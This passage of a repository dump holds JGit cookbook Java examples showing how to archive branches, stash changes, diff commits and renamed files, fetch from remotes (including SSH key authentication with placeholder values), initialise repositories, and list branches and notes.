+\n\t\t\t\t\t\t(tag.getPeeledObjectId() == null ? \"\" : \", peeled: \" + tag.getPeeledObjectId().getName()) +\n\t\t\t\t\t\t\" to repository at \" + repository.getDirectory());\n\n                // remove the tag again\n                git.tagDelete().setTags(\"tag_for_testing\").call();\n\n\t\t\t\t// read some other commit and set the tag on it\n\t\t\t\tSystem.out.println();\n\t\t\t\tSystem.out.println(\"HEAD^: \" + git.getRepository().resolve(\"HEAD^\"));\n\t\t\t\tObjectId id = repository.resolve(\"HEAD^\");\n                try (RevWalk walk = new RevWalk(repository)) {\n                    RevCommit commit = walk.parseCommit(id);\n                    tag = git.tag().setObjectId(commit).setName(\"tag_for_testing\").call();\n                    System.out.println(\"Created/moved tag \" + tag +\n\t\t\t\t\t\t\t(tag.getPeeledObjectId() == null ? \"\" : \", peeled: \" + tag.getPeeledObjectId().getName()) +\n\t\t\t\t\t\t\t\" to repository at \" + repository.getDirectory());\n\n                    // remove the tag again\n                    git.tagDelete().setTags(\"tag_for_testing\").call();\n\n                    // create an annotated tag\n\t\t\t\t\tSystem.out.println();\n                    tag = git.tag().setName(\"tag_for_testing\").setAnnotated(true).call();\n                    System.out.println(\"Created/moved tag \" + tag +\n\t\t\t\t\t\t\t(tag.getPeeledObjectId() == null ? \"\" : \", peeled: \" + tag.getPeeledObjectId().getName()) +\n\t\t\t\t\t\t\t\" to repository at \" + repository.getDirectory());\n\n                    // remove the tag again\n                    git.tagDelete().setTags(\"tag_for_testing\").call();\n\n                    walk.dispose();\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CreateArchive.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n * Copyright 2013, 2014 Dominik Stadler\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.archive.ArchiveFormats;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to package the contents of a branch into an archive file\n * using a format provided by the org.eclipse.jgit.archive jar.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CreateArchive {\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // make the included archive formats known\n            ArchiveFormats.registerAll();\n            try {\n                write(repository, \".zip\", \"zip\");\n                write(repository, \".tar.gz\", \"tgz\");\n                write(repository, \".tar.bz2\", \"tbz2\");\n                write(repository, \".tar.xz\", \"txz\");\n            } finally {\n                ArchiveFormats.unregisterAll();\n            }\n        }\n    }\n\n    private static void write(Repository repository, String suffix, String format) throws IOException, GitAPIException {\n        // this is the file that we write the archive to\n        File file = File.createTempFile(\"test\", suffix);\n        try (OutputStream out = new FileOutputStream(file)) {\n            // finally call the ArchiveCommand to write out using the various supported formats\n            try (Git git = new Git(repository)) {\n                git.archive()\n                        .setTree(repository.resolve(\"master\"))\n                        .setFormat(format)\n                        .setOutputStream(out)\n                        .call();\n            }\n        }\n\n        System.out.println(\"Wrote \" + file.length() + \" bytes to \" + file);\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.forceDelete(file);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CreateCustomFormatArchive.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n * Copyright 2013, 2014 Dominik Stadler\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Collections;\nimport java.util.Map;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipOutputStream;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.ArchiveCommand;\nimport org.eclipse.jgit.api.ArchiveCommand.Format;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.FileMode;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n/**\n * Simple snippet which shows how to package the contents of a branch into an archive file\n * using a custom compression format.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CreateCustomFormatArchive {\n\n    /**\n     * A simple custom format for Zip-files via ZipOutputStream,\n     * JGit only has one via commons-compress\n     */\n    private static final class ZipArchiveFormat implements Format<ZipOutputStream> {\n\n\t\t@Override\n        public ZipOutputStream createArchiveOutputStream(OutputStream s) {\n            return new ZipOutputStream(s);\n        }\n\n        @Override\n        public void putEntry(ZipOutputStream out, ObjectId tree, String path, FileMode mode, ObjectLoader loader) throws IOException {\n            // loader is null for directories...\n            if (loader != null) {\n                ZipEntry entry = new ZipEntry(path);\n\n                if (tree instanceof RevCommit) {\n                    long t = ((RevCommit) tree).getCommitTime() * 1000L;\n                    entry.setTime(t);\n                }\n\n                out.putNextEntry(entry);\n                out.write(loader.getBytes());\n                out.closeEntry();\n            }\n        }\n\n        @Override\n        public Iterable<String> suffixes() {\n            return Collections.singleton(\".mzip\");\n        }\n\n        @Override\n        public ZipOutputStream createArchiveOutputStream(OutputStream s, Map<String, Object> o) {\n            return new ZipOutputStream(s);\n        }\n    }\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        File file = File.createTempFile(\"test\", \".mzip\");\n\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // make the archive format known\n            ArchiveCommand.registerFormat(\"myzip\", new ZipArchiveFormat());\n            try {\n                // this is the file that we write the archive to\n                try (OutputStream out = new FileOutputStream(file)) {\n                    // finally call the ArchiveCommand to write out using the given format\n                    try (Git git = new Git(repository)) {\n                        git.archive()\n                                .setTree(repository.resolve(\"master\"))\n                                .setFormat(\"myzip\")\n                                .setOutputStream(out)\n                                .call();\n                    }\n                }\n            } finally {\n                ArchiveCommand.unregisterFormat(\"myzip\");\n            }\n\n            System.out.println(\"Wrote \" + file.length() + \" bytes to \" + file);\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.forceDelete(file);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/CreateListApplyAndDropStash.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Collection;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to use commands for stashing changes.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class CreateListApplyAndDropStash {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        // prepare a new test-repository\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            localPath = repository.getWorkTree();\n\n            try (Git git = new Git(repository)) {\n                // create a file\n                File file1 = new File(repository.getDirectory().getParent(), \"testfile\");\n                FileUtils.writeStringToFile(file1, \"some text\", \"UTF-8\");\n                File file2 = new File(repository.getDirectory().getParent(), \"testfile2\");\n                FileUtils.writeStringToFile(file2, \"some text\", \"UTF-8\");\n\n                // add and commit the file\n                git.add()\n                        .addFilepattern(\"testfile\")\n                        .call();\n                git.add()\n                        .addFilepattern(\"testfile2\")\n                        .call();\n                git.commit()\n                        .setMessage(\"Added testfiles\")\n                        .call();\n\n                // then modify the file\n                FileUtils.writeStringToFile(file1, \"some more text\", \"UTF-8\", true);\n\n                // push the changes to a new stash\n                RevCommit stash = git.stashCreate()\n                        .call();\n\n                System.out.println(\"Created stash \" + stash);\n\n                // then modify the 2nd file\n                FileUtils.writeStringToFile(file2, \"some more text\", \"UTF-8\", true);\n\n                // push the changes to a new stash\n                stash = git.stashCreate()\n                        .call();\n\n                System.out.println(\"Created stash \" + stash);\n\n                // list the stashes\n                Collection<RevCommit> stashes = git.stashList().call();\n                for(RevCommit rev : stashes) {\n                    System.out.println(\"Found stash: \" + rev + \": \" + rev.getFullMessage());\n                }\n\n                // drop the 1st stash without applying it\n                ObjectId call = git.stashDrop().setStashRef(0).call();\n                System.out.println(\"StashDrop returned: \" + call);\n\n                ObjectId applied = git.stashApply().setStashRef(stash.getName()).call();\n                System.out.println(\"Applied 2nd stash as: \" + applied);\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/DiffFilesInCommit.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.diff.DiffEntry;\nimport org.eclipse.jgit.lib.ObjectReader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.AbstractTreeIterator;\nimport org.eclipse.jgit.treewalk.CanonicalTreeParser;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to retrieve the diffs\n * between two commits\n */\npublic class DiffFilesInCommit {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n\n                // compare older commit with the newer one, showing an addition\n                // and 2 changes\n                listDiff(repository, git,\n                        \"3cc51d5cfd1dc3e890f9d6ded4698cb0d22e650e\",\n                        \"19536fe5765ee79489265927a97cb0e19bb93e70\");\n\n                // also the diffing the reverse works and now shows a delete\n                // instead of the added file\n                listDiff(repository, git,\n                        \"19536fe5765ee79489265927a97cb0e19bb93e70\",\n                        \"3cc51d5cfd1dc3e890f9d6ded4698cb0d22e650e\");\n\n                // to compare against the \"previous\" commit, you can use\n                // the caret-notation\n                listDiff(repository, git,\n                        \"19536fe5765ee79489265927a97cb0e19bb93e70^\",\n                        \"19536fe5765ee79489265927a97cb0e19bb93e70\");\n            }\n        }\n    }\n\n    private static void listDiff(Repository repository, Git git, String oldCommit, String newCommit) throws GitAPIException, IOException {\n        final List<DiffEntry> diffs = git.diff()\n                .setOldTree(prepareTreeParser(repository, oldCommit))\n                .setNewTree(prepareTreeParser(repository, newCommit))\n                .call();\n\n        System.out.println(\"Found: \" + diffs.size() + \" differences\");\n        for (DiffEntry diff : diffs) {\n            System.out.println(\"Diff: \" + diff.getChangeType() + \": \" +\n                    (diff.getOldPath().equals(diff.getNewPath()) ? diff.getNewPath() : diff.getOldPath() + \" -> \" + diff.getNewPath()));\n        }\n    }\n\n    private static AbstractTreeIterator prepareTreeParser(Repository repository, String objectId) throws IOException {\n        // from the commit we can build the tree which allows us to construct the TreeParser\n        //noinspection Duplicates\n        try (RevWalk walk = new RevWalk(repository)) {\n            RevCommit commit = walk.parseCommit(repository.resolve(objectId));\n            RevTree tree = walk.parseTree(commit.getTree().getId());\n\n            CanonicalTreeParser treeParser = new CanonicalTreeParser();\n            try (ObjectReader reader = repository.newObjectReader()) {\n                treeParser.reset(reader, tree.getId());\n            }\n\n            walk.dispose();\n\n            return treeParser;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/DiffRenamedFile.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.annotations.NonNull;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.diff.DiffConfig;\nimport org.eclipse.jgit.diff.DiffEntry;\nimport org.eclipse.jgit.diff.DiffFormatter;\nimport org.eclipse.jgit.lib.Config;\nimport org.eclipse.jgit.lib.ObjectReader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.FollowFilter;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.AbstractTreeIterator;\nimport org.eclipse.jgit.treewalk.CanonicalTreeParser;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n// Simple example that shows how to diff a single file between two commits when\n// the file may have been renamed.\npublic class DiffRenamedFile {\n    public static void main(String[] args)\n            throws IOException, GitAPIException {\n        try (Repository repo = CookbookHelper.openJGitCookbookRepository()) {\n            runDiff(repo,\n                    \"2e1d65e4cf6c5e267e109aa20fd68ae119fa5ec9\",\n                    \"5a10bd6ee431e362facb03cfe763b9a3d9dfd02d\",\n                    \"README.md\");\n\n            // try the reverse as well\n            runDiff(repo,\n                    \"5a10bd6ee431e362facb03cfe763b9a3d9dfd02d\",\n                    \"2e1d65e4cf6c5e267e109aa20fd68ae119fa5ec9\",\n                    \"README.md\");\n\n            // caret allows to specify \"the previous commit\"\n            runDiff(repo,\n                    \"7b2e6193a39726510ed9d0f66a779665d0e4ce23^\",\n                    \"7b2e6193a39726510ed9d0f66a779665d0e4ce23\",\n                    \"build.gradle\");\n        }\n    }\n\n    private static void runDiff(Repository repo, String oldCommit, String newCommit, String path) throws IOException, GitAPIException {\n        // Diff README.md between two commits. The file is named README.md in\n        // the new commit (5a10bd6e), but was named \"jgit-cookbook README.md\" in\n        // the old commit (2e1d65e4).\n        DiffEntry diff = diffFile(repo,\n                oldCommit,\n                newCommit,\n                path);\n\n        // Display the diff\n        System.out.println(\"Showing diff of \" + path);\n        try (DiffFormatter formatter = new DiffFormatter(System.out)) {\n            formatter.setRepository(repo);\n            //noinspection ConstantConditions\n            formatter.format(diff);\n        }\n    }\n\n    private static AbstractTreeIterator prepareTreeParser(Repository repository, String objectId) throws IOException {\n        // from the commit we can build the tree which allows us to construct the TreeParser\n        //noinspection Duplicates\n        try (RevWalk walk = new RevWalk(repository)) {\n            RevCommit commit = walk.parseCommit(repository.resolve(objectId));\n            RevTree tree = walk.parseTree(commit.getTree().getId());\n\n            CanonicalTreeParser treeParser = new CanonicalTreeParser();\n            try (ObjectReader reader = repository.newObjectReader()) {\n                treeParser.reset(reader, tree.getId());\n            }\n\n            walk.dispose();\n\n            return treeParser;\n        }\n    }\n\n    private static @NonNull DiffEntry diffFile(Repository repo, String oldCommit,\n                       String newCommit, String path) throws IOException, GitAPIException {\n        Config config = new Config();\n        config.setBoolean(\"diff\", null, \"renames\", true);\n        DiffConfig diffConfig = config.get(DiffConfig.KEY);\n        try (Git git = new Git(repo)) {\n            List<DiffEntry> diffList = git.diff().\n                setOldTree(prepareTreeParser(repo, oldCommit)).\n                setNewTree(prepareTreeParser(repo, newCommit)).\n                setPathFilter(FollowFilter.create(path, diffConfig)).\n                call();\n            if (diffList.size() == 0)\n                return null;\n            if (diffList.size() > 1)\n                throw new RuntimeException(\"invalid diff\");\n            return diffList.get(0);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/FetchRemoteCommits.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.transport.FetchResult;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to fetch commits from a remote Git repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class FetchRemoteCommits {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            System.out.println(\"Starting fetch\");\n            try (Git git = new Git(repository)) {\n                FetchResult result = git.fetch().setCheckFetchedObjects(true).call();\n                System.out.println(\"Messages: \" + result.getMessages());\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/FetchRemoteCommitsWithPrune.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport java.io.File;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.ListBranchCommand.ListMode;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.transport.FetchResult;\n\n\n\n/**\n * Simple snippet which shows how to fetch commits from a remote Git repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class FetchRemoteCommitsWithPrune {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws IOException, GitAPIException, InterruptedException {\n        // prepare a new folder for the cloned repository\n        File localPath = File.createTempFile(\"TestGitRepository\", \"\");\n        if(!localPath.delete()) {\n            throw new IOException(\"Could not delete temporary file \" + localPath);\n        }\n\n        // then clone\n        System.out.println(\"Cloning from \" + REMOTE_URL + \" to \" + localPath);\n        try (Git git = Git.cloneRepository()\n                .setURI(REMOTE_URL)\n                .setDirectory(localPath)\n                .call()) {\n            // Note: the call() returns an opened repository already which needs to be closed to avoid file handle leaks!\n            System.out.println(\"Having repository: \" + git.getRepository().getDirectory());\n\n            System.out.println(\"Starting fetch\");\n            FetchResult result = git.fetch().setCheckFetchedObjects(true).call();\n            System.out.println(\"Messages: \" + result.getMessages());\n\n            // ensure master/HEAD are still there\n            System.out.println(\"Listing local branches:\");\n            List<Ref> call = git.branchList().call();\n            for (Ref ref : call) {\n                System.out.println(\"Branch: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n            }\n\n            System.out.println(\"Now including remote branches:\");\n            call = git.branchList().setListMode(ListMode.ALL).call();\n            for (Ref ref : call) {\n                System.out.println(\"Branch: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        try {\n            FileUtils.deleteDirectory(localPath);\n        } catch (IOException e) {\n            System.out.println(\"Retrying deleting path \" + localPath + \" once after catching exception\");\n            e.printStackTrace();\n\n            Thread.sleep(1000);\n\n            FileUtils.deleteDirectory(localPath);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/FetchRemoteCommitsWithSshAuth.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport com.jcraft.jsch.JSch;\nimport com.jcraft.jsch.JSchException;\nimport com.jcraft.jsch.Session;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.LsRemoteCommand;\nimport org.eclipse.jgit.api.TransportConfigCallback;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.transport.JschConfigSessionFactory;\nimport org.eclipse.jgit.transport.OpenSshConfig;\nimport org.eclipse.jgit.transport.SshSessionFactory;\nimport org.eclipse.jgit.transport.SshTransport;\nimport org.eclipse.jgit.transport.Transport;\nimport org.eclipse.jgit.util.FS;\n\nimport java.util.Map;\n\n/**\n * Simple snippet which shows how to fetch commits from a remote Git repository\n * via ssh protocol authentication.\n *\n * You need to provide proper values for the URL of the Git repository and\n * the location of the private key file\n *\n * <p>\n * Created by zhengmaoshao on 2019/4/3 上午12:38\n */\npublic class FetchRemoteCommitsWithSshAuth {\n    private static final String REMOTE_URL = \"ssh://<user>@<host>:22/<path-to-remote-repo>/\";\n    private static final String PRIVATE_KEY = \"/path/to/private_key\";\n\n    public static void main(String[] args) throws GitAPIException {\n\n        final SshSessionFactory sshSessionFactory = new JschConfigSessionFactory() {\n            @Override\n            protected void configure(OpenSshConfig.Host host, Session session) {\n            }\n\n            @Override\n            protected JSch createDefaultJSch(FS fs) throws JSchException {\n                JSch defaultJSch = super.createDefaultJSch(fs);\n                defaultJSch.addIdentity(PRIVATE_KEY);\n                return defaultJSch;\n            }\n        };\n\n        LsRemoteCommand lsRemoteCommand = Git.lsRemoteRepository();\n        lsRemoteCommand.setRemote(REMOTE_URL);\n        lsRemoteCommand.setTransportConfigCallback(new TransportConfigCallback()\n        {\n            @Override\n            public void configure(Transport transport) {\n                SshTransport sshTransport = (SshTransport) transport;\n                sshTransport.setSshSessionFactory(sshSessionFactory);\n            }\n        });\n\n        final Map<String, Ref> map = lsRemoteCommand.setHeads(true)\n                .setTags(true)\n                .callAsMap();\n\n        for (Map.Entry<String, Ref> entry : map.entrySet()) {\n            System.out.println(\"Key: \" + entry.getKey()/*eg.refs/heads/develop*/ + \", Ref: \" + entry.getValue().getObjectId().getName()/*eg.e16c937848d5c1ad50ef163003c7b076103f7e37*/);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/InitRepository.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.storage.file.FileRepositoryBuilder;\n\n\n\n/**\n * Simple snippet which shows how to initialize a new repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class InitRepository {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // run the init-call\n        File dir = File.createTempFile(\"gitinit\", \".test\");\n        if(!dir.delete()) {\n            throw new IOException(\"Could not delete file \" + dir);\n        }\n\n        // The Git-object has a static method to initialize a new repository\n        try (Git git = Git.init()\n                .setDirectory(dir)\n                .call()) {\n            System.out.println(\"Created a new repository at \" + git.getRepository().getDirectory());\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(dir);\n\n        dir = File.createTempFile(\"repoinit\", \".test\");\n        if(!dir.delete()) {\n            throw new IOException(\"Could not delete file \" + dir);\n        }\n\n        // you can also create a Repository-object directly from the\n        try (Repository repository = FileRepositoryBuilder.create(new File(dir.getAbsolutePath(), \".git\"))) {\n            System.out.println(\"Created a new repository at \" + repository.getDirectory());\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(dir);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ListBranches.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014, 2021 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.ListBranchCommand.ListMode;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to list all Branches in a Git repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListBranches {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n\t\t\t\tSystem.out.println(\"Listing local branches:\");\n\t\t\t\tList<Ref> call = git.branchList().call();\n                for (Ref ref : call) {\n                    System.out.println(\"Branch: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n                }\n\n                System.out.println(\"Now including remote branches:\");\n                call = git.branchList().setListMode(ListMode.ALL).call();\n                for (Ref ref : call) {\n                    System.out.println(\"Branch: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName());\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ListNotes.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.notes.Note;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to load Notes in a Git repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListNotes {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                List<Note> call = git.notesList().call();\n                System.out.println(\"Listing \" + call.size() + \" notes\");\n                for (Note note : call) {\n                    System.out.println(\"Note: \" + note + \" \" + note.getName() + \" \" + note.getData().getName() + \"\\nContent: \");\n\n                    // displaying the contents of the note is done via a simple blob-read\n                    ObjectLoader loader = repository.open(note.getData());\n                    loader.copyTo(System.out);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
